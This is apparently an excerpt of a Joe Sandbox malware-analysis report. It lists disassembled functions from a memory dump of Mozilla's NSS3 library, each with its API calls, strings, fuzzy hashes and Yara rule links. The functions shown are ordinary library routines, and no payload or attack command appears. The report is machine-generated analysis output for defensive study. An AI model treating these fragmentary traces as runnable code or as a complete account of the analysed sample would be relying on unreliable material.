Part of subcall function 6C625920: free.MOZGLUE(00000000), ref: 6C6259F5
Part of subcall function 6C625920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C625A0A
Part of subcall function 6C625920: free.MOZGLUE(00000000), ref: 6C625A2E
Part of subcall function 6C625920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C625A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C5F78F8), ref: 6C634EB3

Part of subcall function 6C634820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C634EB8,?,?,?,?,?,?,?,?,?,?,6C5F78F8), ref: 6C63484C
Part of subcall function 6C634820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C634EB8,?,?,?,?,?,?,?,?,?,?,6C5F78F8), ref: 6C63486D
Part of subcall function 6C634820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C634EB8,?), ref: 6C634884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C5F78F8), ref: 6C634EC0

Part of subcall function 6C634470: TlsGetValue.KERNEL32(00000000,?,6C5F7296,00000000), ref: 6C634487
Part of subcall function 6C634470: EnterCriticalSection.KERNEL32(?,?,?,6C5F7296,00000000), ref: 6C6344A0
Part of subcall function 6C634470: PR_Unlock.NSS3(?,?,?,?,6C5F7296,00000000), ref: 6C6344BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C5F78F8), ref: 6C634F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C5F78F8), ref: 6C634F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C5F78F8), ref: 6C634F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C5F78F8), ref: 6C634F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5F78F8), ref: 6C634F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5F78F8), ref: 6C634F8F
PK11_UpdateSlotAttribute.NSS3(?,6C70DCB0,00000000), ref: 6C634FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C63501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C5F78F8), ref: 6C63506B

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 21c5b0f1bc37516a4ff0b79ce290672dc006d2991c98b4cd53a651cffd9b4d07
Instruction ID: d67e7d2d385c243bd0a795beb74e4d308fe344fa2bfc7d57e0de134226017da2
Opcode Fuzzy Hash: 21c5b0f1bc37516a4ff0b79ce290672dc006d2991c98b4cd53a651cffd9b4d07
Instruction Fuzzy Hash: CA5128B1D002119BDB11AF24DC00AAA7AB4FF4631DF186235DC1E97B11FB32D964CB9A

Function 6C5DACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5DACE2
malloc.MOZGLUE(00000001), ref: 6C5DACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5DAD02
TlsGetValue.KERNEL32 ref: 6C5DAD3C
calloc.MOZGLUE(00000001,?), ref: 6C5DAD8C
PR_Unlock.NSS3 ref: 6C5DADC0
free.MOZGLUE(00000000), ref: 6C5DAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C5DAE58
free.MOZGLUE(00000000), ref: 6C5DAE69
free.MOZGLUE(?), ref: 6C5DAE78
PR_Unlock.NSS3 ref: 6C5DAE8C
free.MOZGLUE(?), ref: 6C5DAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5DAEC7

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: b3174a9c2bf0a286dc795b6452bbfc58e7454b6cacf503ee3ee2d0c83fe3cc40
Instruction ID: 03ac6bfb43c0fdafadbf65b2330953efccfb00929e37125048befa08b5dc9f83
Opcode Fuzzy Hash: b3174a9c2bf0a286dc795b6452bbfc58e7454b6cacf503ee3ee2d0c83fe3cc40
Instruction Fuzzy Hash: A4518AB0A012269BDB10FF68DC416AB77B4FB4634AF164536D808A7B10D731F915CBEA

Function 6C6B4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C6B4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6B4CFD
sqlite3_value_text16.NSS3(?), ref: 6C6B4D44

Strings

unknown error, xrefs: 6C6B4D56
bad parameter or other API misuse, xrefs: 6C6B4D05
another row available, xrefs: 6C6B4D20
invalid, xrefs: 6C6B4CF1
out of memory, xrefs: 6C6B4C78, 6C6B4C9E
abort due to ROLLBACK, xrefs: 6C6B4D27, 6C6B4D33
API call with %s database connection pointer, xrefs: 6C6B4CF6
no more rows available, xrefs: 6C6B4D2E

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 8eda05cde5c6b023b0b5229067002b09aba0c178f84b08fa69e89734bf9f2a59
Instruction ID: fb1c482bc645602aa5c70352ccfa1ea501c6260c88a8246392e7b14b656dc09a
Opcode Fuzzy Hash: 8eda05cde5c6b023b0b5229067002b09aba0c178f84b08fa69e89734bf9f2a59
Instruction Fuzzy Hash: FA315A72E08951A7D7144A24A8117F573A2BB82718F150135D8247BF58CBF5BC36C7DE

Function 6C6B2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6B2D9F

Part of subcall function 6C56CA30: EnterCriticalSection.KERNEL32(?,?,?,6C5CF9C9,?,6C5CF4DA,6C5CF9C9,?,?,6C59369A), ref: 6C56CA7A
Part of subcall function 6C56CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C56CB26

sqlite3_exec.NSS3(?,?,6C6B2F70,?,?), ref: 6C6B2DF9
sqlite3_free.NSS3(00000000), ref: 6C6B2E2C
sqlite3_free.NSS3(?), ref: 6C6B2E3A
sqlite3_free.NSS3(?), ref: 6C6B2E52
sqlite3_mprintf.NSS3(6C71AAF9,?), ref: 6C6B2E62
sqlite3_free.NSS3(?), ref: 6C6B2E70
sqlite3_free.NSS3(?), ref: 6C6B2E89
sqlite3_free.NSS3(?), ref: 6C6B2EBB
sqlite3_free.NSS3(?), ref: 6C6B2ECB
sqlite3_free.NSS3(00000000), ref: 6C6B2F3E
sqlite3_free.NSS3(?), ref: 6C6B2F4C

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 7160fa2ca9ed815a9726d29ea2ad7aa79c9e09a34584c04f9ded2f3d372a790d
Instruction ID: a33d012da5bc767cef6dd8855930d457ffc61fa9bc25957e2686ccc6fd8f7022
Opcode Fuzzy Hash: 7160fa2ca9ed815a9726d29ea2ad7aa79c9e09a34584c04f9ded2f3d372a790d
Instruction Fuzzy Hash: 3B616FB5E002058BEB00CF69D884B9EB7F5AF89348F144028EC15B7B11E735EC65CBA5

Function 6C5F7C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C742120,6C5F7E60,00000000,?,?,?,?,6C67067D,6C671C60,00000000), ref: 6C5F7C81

Part of subcall function 6C564C70: TlsGetValue.KERNEL32(?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564C97
Part of subcall function 6C564C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564CB0
Part of subcall function 6C564C70: PR_Unlock.NSS3(?,?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564CC9

TlsGetValue.KERNEL32 ref: 6C5F7CA0
EnterCriticalSection.KERNEL32(?), ref: 6C5F7CB4
PR_Unlock.NSS3 ref: 6C5F7CCF

Part of subcall function 6C68DD70: TlsGetValue.KERNEL32 ref: 6C68DD8C
Part of subcall function 6C68DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C68DDB4

TlsGetValue.KERNEL32 ref: 6C5F7D04
EnterCriticalSection.KERNEL32(?), ref: 6C5F7D1B
realloc.MOZGLUE(-00000050), ref: 6C5F7D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5F7DF4
PR_Unlock.NSS3 ref: 6C5F7E0E

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 3c5525478c25364960bf15930ac20899453d11b8a72667d8ba5a88e6bf40d1b0
Instruction ID: c7cd2ccb59c47e110892a75a46041e426a575fedb97d70df62753f5e0249c7fe
Opcode Fuzzy Hash: 3c5525478c25364960bf15930ac20899453d11b8a72667d8ba5a88e6bf40d1b0
Instruction Fuzzy Hash: 4E51F271A05100EBEB18AF28DC44A6577B5EB4239DF55813BDA24C7722EB30D862CFA1

Function 6C647870 Relevance: 18.1, APIs: 12, Instructions: 138stringmemorythreadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,?,6C6491C5), ref: 6C64788F

Part of subcall function 6C6407B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C5E8298,?,?,?,6C5DFCE5,?), ref: 6C6407BF
Part of subcall function 6C6407B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6407E6
Part of subcall function 6C6407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C64081B
Part of subcall function 6C6407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C640825

PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6491C5), ref: 6C6478BB
PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6491C5), ref: 6C6478FA
strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6491C5), ref: 6C647930
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6491C5), ref: 6C647951
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C647964
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C64797A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C647988
memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C647998
free.MOZGLUE(00000000), ref: 6C6479A7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6491C5), ref: 6C6479BB
PR_GetCurrentThread.NSS3(?,?,?,?,6C6491C5), ref: 6C6479CA

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Error$Alloc_HashLookupTablememcpy$ConstCurrentFindItem_ThreadZfreefreestrchrstrcmpstrlen
String ID:
API String ID: 1862276529-0
Opcode ID: c250c8773b0352b5ee92af74f7849e104250b6f342c3e3fea18f86623a232b12
Instruction ID: fb800b63a0754181c1a2318295d60779d274553f84e47e794594b98d41113638
Opcode Fuzzy Hash: c250c8773b0352b5ee92af74f7849e104250b6f342c3e3fea18f86623a232b12
Instruction Fuzzy Hash: 0541D3B1A003019FEB108B79DC45B6B77A9AF45359F24C138E819A7B41E731E808C6AA

Function 6C564C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564CB0
PR_Unlock.NSS3(?,?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564D97
PR_Lock.NSS3(?,?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564DBA
PR_WaitCondVar.NSS3 ref: 6C564DD4
PR_Unlock.NSS3(?,?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564DEF

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 312c69e26726b790e063a06b1768d49fac7e9236761317f98ceb9b4469d26d13
Instruction ID: 28ad2e3a453cc43fe43909b402d77686976bad0712dfab066ac83967d6515001
Opcode Fuzzy Hash: 312c69e26726b790e063a06b1768d49fac7e9236761317f98ceb9b4469d26d13
Instruction Fuzzy Hash: 8541AEB5A04711CFCB10FF79D894559BBF0BF46318F058A6AD8589BB20EB30D894CB96

Function 6C699820 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(-00000001), ref: 6C6998B8
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C699978
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C69999E
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?), ref: 6C699B68

Part of subcall function 6C699C40: memcmp.VCRUNTIME140(?,00000000,6C56C52B), ref: 6C699D53

EnterCriticalSection.KERNEL32(?,?,?,?,?,?), ref: 6C699B12
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000118F8,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C699BBF
sqlite3_free.NSS3(00000000,?,?,?), ref: 6C699BF5

Part of subcall function 6C56CA30: EnterCriticalSection.KERNEL32(?,?,?,6C5CF9C9,?,6C5CF4DA,6C5CF9C9,?,?,6C59369A), ref: 6C56CA7A
Part of subcall function 6C56CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C56CB26

Part of subcall function 6C56F880: memcpy.VCRUNTIME140(?,?,?), ref: 6C56F8FC
Part of subcall function 6C56F880: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C56F93E

Strings

%s at line %d of [%.10s], xrefs: 6C699BB8
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C699A3C, 6C699B9D, 6C699BA9
database corruption, xrefs: 6C699BB3

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave_byteswap_ulong_byteswap_ushort$memcmpmemcpysqlite3_freesqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4240395935-598938438
Opcode ID: 8b421e0cce549fa21ac169d91897c4f9def23c5e2332797eb93a935434ca66ac
Instruction ID: 6b421827315df0ab608a7709bc9c4993cf2cf931fe2f4a3beede7345e8969ff8
Opcode Fuzzy Hash: 8b421e0cce549fa21ac169d91897c4f9def23c5e2332797eb93a935434ca66ac
Instruction Fuzzy Hash: ADC14671E04216CFCB14CF65C8846AAB7B5BF4A31CF184269E849ABB50D335ED81C7D9

Function 6C608F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C608FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C608FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C608FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C609013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C609042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C60905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C609073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6090EC

Part of subcall function 6C5D0F00: PR_GetPageSize.NSS3(6C5D0936,FFFFE8AE,?,6C5616B7,00000000,?,6C5D0936,00000000,?,6C56204A), ref: 6C5D0F1B
Part of subcall function 6C5D0F00: PR_NewLogModule.NSS3(clock,6C5D0936,FFFFE8AE,?,6C5616B7,00000000,?,6C5D0936,00000000,?,6C56204A), ref: 6C5D0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C609111

Strings

nol, xrefs: 6C6090A3

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nol
API String ID: 2831689957-122615315
Opcode ID: 349837df6441527ab29d67d935e7be3cc071324fa963eeb73738912bd672012e
Instruction ID: 7d19664debb4d48213deaaee23c953232c87bb5aa5e4623312a225c228ecc80a
Opcode Fuzzy Hash: 349837df6441527ab29d67d935e7be3cc071324fa963eeb73738912bd672012e
Instruction Fuzzy Hash: 86519F74B04615CFCB04EF38C588699BBF1BF4A318F0545AADC49AB716EB30E884CB95

Function 6C6F7CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C6F7CE0

Part of subcall function 6C6A9BF0: TlsGetValue.KERNEL32(?,?,?,6C6F0A75), ref: 6C6A9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F7D36
PR_Realloc.NSS3(?,00000080), ref: 6C6F7D6D
PR_GetCurrentThread.NSS3 ref: 6C6F7D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C6F7DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F7DD8
malloc.MOZGLUE(00000080), ref: 6C6F7DF8
PR_GetCurrentThread.NSS3 ref: 6C6F7E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C6F7DF0
:%s:%d:0x%lx, xrefs: 6C6F7DB9

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 161649b2c16faa2a7273bd7525be77832ebfd369c499322c92a346b5c07f4f8b
Instruction ID: 43e04ef7cea5e4fd559da3ef1fa5ce78fcb480b49fa41f1bc533610238fa0c0a
Opcode Fuzzy Hash: 161649b2c16faa2a7273bd7525be77832ebfd369c499322c92a346b5c07f4f8b
Instruction Fuzzy Hash: C24193B55002059FDB04CF28CC909AB3BF7FF85318B654569E8298BB51D731ED42CBA9

Function 6C6F7E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F7E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C6F7E46

Part of subcall function 6C5D1240: TlsGetValue.KERNEL32(00000040,?,6C5D116C,NSPR_LOG_MODULES), ref: 6C5D1267
Part of subcall function 6C5D1240: EnterCriticalSection.KERNEL32(?,?,?,6C5D116C,NSPR_LOG_MODULES), ref: 6C5D127C
Part of subcall function 6C5D1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C5D116C,NSPR_LOG_MODULES), ref: 6C5D1291
Part of subcall function 6C5D1240: PR_Unlock.NSS3(?,?,?,?,6C5D116C,NSPR_LOG_MODULES), ref: 6C5D12A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C6F7EAF
PR_ImportFile.NSS3(?), ref: 6C6F7ECF
PR_GetCurrentThread.NSS3 ref: 6C6F7ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C6F7F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C6F7F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C6F7F15

Strings

NSPR_INHERIT_FDS, xrefs: 6C6F7E41
%d:0x%lx, xrefs: 6C6F7EA9

Memory Dump Source

